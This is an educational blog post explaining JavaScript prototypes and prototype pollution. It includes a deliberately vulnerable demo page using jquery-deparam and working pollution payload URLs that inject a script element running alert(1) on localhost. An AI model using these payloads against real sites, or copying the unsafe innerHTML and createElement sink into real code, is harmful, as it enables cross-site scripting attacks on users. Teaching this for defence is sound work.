smoking factory during daytime
Wed May 03

Prototype Pollution: How Hackers Can Exploit It to Attack Your Website

JavaScript is indeed a critical component of many websites today, providing essential functionality for both front-end and back-end development. However, like any programming language, JavaScript is not without its vulnerabilities. In fact, the heavy reliance on JavaScript libraries and frameworks such as React, Angular JS, and Vue, as well as its package managers like npm and yarn, can increase the risk of vulnerabilities such as prototype pollution.

The concepts of objects

Objects in real life

When talking about JavaScript, it is better to know what an object is. Why? In JavaScript, almost everything is considered an Object.

In real life, we can consider a person as an object. While it is different from person to person, they may have the same properties like name, age, gender, and so on. Though, the value of these properties may be the same or different. As a person, they may have the same function like talking to introduce themselves. This is what we refer to as methods.

Objects in JavaScript

Say that we have 3 different persons, Tom, Dave, and Jenny. We can translate their information into a code in two ways.

const person1 = {name: `Tom`, age: `23`, gender: `male`, talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`;},};
const person2 = {name: `Dave`, age: `21`, gender: `male`, talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`;},};
const person3 = {name: `Jenny`, age: `28`, gender: `female`, talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`;},};
console.log(person1.talk());
console.log(person2.talk());
console.log(person3.talk());

By doing this, we define an object directly within a variable. This way, we create objects with object literal marks by the curly braces ({}). Another way of doing this is by implementing an object initializer. As the name suggests, we need to first create and initialize the object with a constructor function.

class Person {
	constructor(name, age, gender) {
	this.name = name;
	this.age = age;
	this.gender = gender;
	}

 	talk() {
   		return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}.`;
 	}
}
const person1 = new Person("Tom", 23, "male");
const person2 = new Person("Dave", 21, "male");
const person3 = new Person("Jenny", 28, "female");
console.log(person1.talk());
console.log(person2.talk());
console.log(person3.talk());

Interestingly, JavaScript doesn’t really have classes. It is not even a class- based language like Java, PHP or C++. Instead, JavaScript is prototype-based language, according to Mozilla’s documentation which doesn’t require a class to define an object. The class keyword itself was introduced in ECMAScript 2015, so the JavaScript will seem like an OOP language. Yet, it is still use the same prototyping technique.

Prototype-based language

Prototype-based programming is a way of writing code where you don’t have to create classes like in other programming styles. Instead, you can create new objects by adding properties and functions to an existing object or creating a new, empty object and adding properties and functions to it.

We mentioned earlier that most things are objects that are based on the Object instance. These objects inherit properties and methods from Object.prototype, although this inheritance is not always apparent. For example, the above code has some properties and methods like __proto__, toString(), valueOf(), etc, although we didn’t define it earlier. So, if we try to execute a command like console.log(person2.valueOf()), it will still produce an output.

{
 age: 21,
 gender: "male",
 name: "Dave"
}

The proto property

The __proto__ is a special property that exists on every object. Let’s simplify the object literal code example above to only include person2.

const person2 = {name: `Dave`, age: `21`, gender: `male`, talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`;},};

With this object, If we try to execute the command like the following.

console.log(person2)

The console output will look like this.

{name: `Dave`, age: `21`, gender: `male`, talk: f}
	age: 21
	gender: "Male"
	name: "Dave"
	talk: ƒ talk()
	[[Prototype]]: Object

You may have [[Prototype]] instead of __proto__ which refers to the object’s prototype. You can also use the __proto__ to set the property or methods to an object. Now, let’s take person2 information from the object literal example and use it to include our custom method with __proto__.

const person2 = {
	name: `Dave`,
	age: `21`,
	gender: `male`,
	talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`
	;}
,};
const move = {
 walk() {
   return `Going forward now`;
 }
};
person2.__proto__ = move;
console.log(person2.walk());

By doing this, we have successfully added a new method walk() into the person2 object with __proto__. Therefore, if we execute the command console.log(person2), the console output will change.

{name: `Dave`, age: `21`, gender: `male`, talk: f}
	age: 21
	gender: "Male"
	name: "Dave"
	talk: ƒ talk()
	[[Prototype]]: Object
   		walk: ƒ walk()
   		[[Prototype]]: Object

However, it is now recommended to use Object.getPrototypeOf()/Reflect.getPrototypeOf() and Object.setPrototypeOf()/Reflect.setPrototypeOf() instead of the deprecated __proto__. Although it can be useful in some cases, using proto is highly discouraged as it poses a security risk known as “prototype pollution”.

What is prototype pollution?

Prototype pollution occurs when an attacker can deliberately modify the prototype of an object. which can lead to unexpected behavior in an application or website. Referring to the previous explanation, we can imagine what will happen if the attacker is able to execute any JavaScript function by injecting a particular function or method within the existing object. The common technique for execution is by taking advantage of a gadget.

Prototype pollution exploitation

Although the attacker is able to insert new property or methods, it doesn’t mean that it can be executed right away. In JavaScript, it is common for a website to implement certain libraries where it is possible for the attacker to exploit. Even a particular version of one of the most popular libraries like Jquery is vulnerable.

Let’s look again at the example with a little bit of modification in the code.

const person2 = {
	name: `Dave`,
	age: `21`,
	gender: `male`,
	talk: function() {return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}.`;},
	walk: function(query){return query;}
};
const action = 'Going forward now'
console.log(person2.walk(action));

Note that this could be a simplification of what’s going on in the actual prototype pollution attack. From the above example, the developer has a new method called walk(). Basically, it works by simply returning a value of its parameter.

If you try to execute the code, the output would be ‘Going forward now’. However, what if the attacker can change the action variable to execute a function or method with, for example alert(1). If it works, the pop up will show up with value 1 in it. While this is not harmful, it proves that the application is vulnerable and can be a gateway for the attacker to execute even more complex scripts.

Real world prototype pollution exploitation

An example for this case is the vulnerability that exists in the jquery plugin called jquery-deparam. Take a look at the following HTML code which uses this plugin.

<!DOCTYPE html>
<html lang="en">
 <head>
   <meta charset="UTF-8">
   <meta http-equiv="X-UA-Compatible" content="IE=edge">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Binaryte - Prototype Pollution</title>
 </head>
 <body>
   <h1>Prototype Pollution</h1>
   <script src="https://code.jquery.com/jquery-2.2.4.js"></script>
   <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-deparam/0.5.3/jquery-deparam.js"></script>
   <script>
       $.deparam(location.search.slice(1))
   </script>
   <script src="person.js"></script>
 </body>
</html>

This HTML code also uses a file called person.js with the following content.

const person2 = {
   name: `Dave`,
   age: `21`,
   gender: `male`,
   email: async function () {
       let query = { params: deparam(new URL(location).searchParams.toString()) };

       const userEmail = query.params.email
       if (userEmail) {
           let element = query.element || `h3`;
           let generatedElement = document.createElement(element);
           generatedElement.innerHTML = await userEmail;
           document.body.appendChild(generatedElement);
       }
   },
   talk: function () {
       return `Hi, my name is ${this.name}, a ${this.age} years old ${this.gender}`
   }
};
person2.email();

This code is used by the developer to show the user email using the URL parameter. Using the VS Code Live Server extension, we can run these code in the browser. Assuming you are using the same method, we can change the URL to something like http://127.0.0.1:5500/[email protected], you should be able to see the email shown on the page.

Referring to this [Github repository](https://github.com/BlackFan/client-side- prototype-pollution/blob/master/pp/jquery-deparam.md), we can try to change the query parameter to something like this.

http://127.0.0.1:5500/?__proto__[email]=alert(1)

We can see that the alert(1) is just showing up on the page and there is no pop up showing up. Doesn’t it mean our payload isn’t working? Now, if you try to check the developer tools in your browser and type Object.prototype., you can see that in the suggestion, a new property email is showing up. It means that we have successfully done the prototype pollution with our new property. If you try to change the email value in the URL to another value like test or anything, it should also work.

If you scrutinize the JS code, you can see that the parameters are converted to string. However, it is still possible to execute our alert(1) function as a script. Focusing on the if(userEmail) logic in the email method, we can see that it generates a new element for showing the string we saw earlier.

This line let element = query.element || h3; basically tells the createElement() function to use h3 if it finds no query with the key element. Otherwise, it should use the user supplied tag. So, in the query we can modify the URL parameter into something like this.

http://127.0.0.1:5500/?__proto__[element]=script&__proto__[email]=alert(1)

With this URL parameter, we define the element, so the generated element will be executed with the <script> tag instead of <h3> tag. Hence, the alert() function will be executed.

The prototype pollution requirement

From the case study, we can conclude that some key components are involved in delivering a successful attack. Manipulating the object properties itself is actually harmless if the attacker can’t find a way to execute it.

The very first step the attacker needs to do is, finding an input to let him/her manipulate the object properties. The above case uses URl query parameters to get the job done. However, any user input like JSON input may also work. This is what we call as prototype pollution sources. Next, we need a sink. A sink refers to the vulnerable JavaScript function within the application or the website itself. Here, we use the person2.email() method to do the job. The last one is called an exploitable gadget. It refers to the passable property into the sink. In our case, we use both element and email to achieve what we want. Besides, it is also important to implement proper filtering and sanitization.

Conclusion

Note that the attack is possible because JavaScript’s prototypal inheritance model allows objects to inherit properties and methods from their prototypes. An attacker can use this to inject a new property or method that overrides or bypasses existing checks or authentication mechanisms. In fact, there are still lots to cover when talking about prototype pollution. Hopefully in the upcoming article, we can delve deeper into how the attacker can do the attack from the client or even server side and what we can do to mitigate the risk of prototype pollution attack.